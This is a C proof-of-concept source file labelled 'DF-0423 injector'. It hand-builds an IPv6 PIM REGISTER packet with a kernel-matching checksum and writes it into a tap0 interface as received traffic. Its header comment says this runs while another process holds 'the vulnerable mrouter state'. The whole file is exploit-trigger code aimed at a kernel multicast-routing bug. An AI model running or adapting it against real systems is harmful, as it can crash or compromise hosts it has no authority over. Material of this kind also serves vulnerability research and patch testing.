DF-0423 / injector423.c
/* DF-0423 injector: write a PIM REGISTER as tap0 ingress (RX path) while a * separate process holds the vulnerable mrouter state. Uses a faithfully * computed in6_cksum-style PIM checksum (skips scope-id words for fe80::). */ #include <sys/socket.h> #include <netinet/in.h> #include <netinet/ip6.h> #include <arpa/inet.h> #include <fcntl.h> #include <stdio.h> #include <string.h> #include <unistd.h> #include <stdlib.h> static uint16_t pcksum(const struct in6_addr *src, const struct in6_addr *dst, const uint8_t *data, int dlen) { uint32_t sum = 0; uint8_t ph[40]; memcpy(ph, src, 16); memcpy(ph + 16, dst, 16); /* clear embedded scope-id words (bytes 2-3) for fe80:: so on-wire * matches the kernel's in6_cksum scope-linklocal skip */ if (IN6_IS_ADDR_LINKLOCAL(src)) { ph[2]=0; ph[3]=0; } if (IN6_IS_ADDR_LINKLOCAL(dst)) { ph[18]=0; ph[19]=0; } ph[32]=0; ph[33]=0; ph[34]=(dlen>>8)&0xff; ph[35]=dlen&0xff; ph[36]=0; ph[37]=0; ph[38]=0; ph[39]=103; const uint16_t *p = (const uint16_t *)ph; int i; for (i = 0; i < 20; i++) sum += ntohs(p[i]); p = (const uint16_t *)data; for (i = 0; i < dlen/2; i++) sum += ntohs(p[i]); while (sum >> 16) sum = (sum & 0xffff) + (sum >> 16); return htons(~sum & 0xffff); } int main(void) { uint8_t pkt[14 + 40 + 8 + 40]; memset(pkt, 0, sizeof(pkt)); /* eth: dst=tap0 MAC 00:bd:4c:d3:00:00, src=02:00:00:00:00:01 */ pkt[0]=0x00;pkt[1]=0xbd;pkt[2]=0x4c;pkt[3]=0xd3;pkt[4]=0x00;pkt[5]=0x00; pkt[6]=0x02;pkt[7]=0;pkt[8]=0;pkt[9]=0;pkt[10]=0;pkt[11]=0x01; pkt[12]=0x86;pkt[13]=0xdd; struct ip6_hdr *ip6 = (struct ip6_hdr *)(pkt+14); ip6->ip6_vfc=0x60; ip6->ip6_plen=htons(48); ip6->ip6_nxt=103; ip6->ip6_hlim=255; struct in6_addr src, dst; inet_pton(AF_INET6,"fe80::1",&src); inet_pton(AF_INET6,"fe80::2bd:4cff:fed3:0",&dst); ip6->ip6_src=src; ip6->ip6_dst=dst; uint8_t *pim = pkt+14+40; pim[0]=0x21; /* ver2|REGISTER */ pim[1]=0; pim[2]=0; pim[3]=0; /* cksum filled */ /* inner ip6 */ struct ip6_hdr *in=(struct ip6_hdr*)(pim+8); in->ip6_vfc=0x60; inet_pton(AF_INET6,"ff0e::1",&in->ip6_dst); uint16_t c = pcksum(&src,&dst,pim,8); pim[2]=(c>>8)&0xff; pim[3]=c&0xff; int fd=open("/dev/tap0",O_RDWR); if(fd<0){perror("open tap0");return 2;} fprintf(stderr,"injecting PIM REGISTER via tap0 RX (cksum=0x%04x)\n",c); if(write(fd,pkt,sizeof(pkt))<0)perror("write"); sleep(2); close(fd); return 0; } |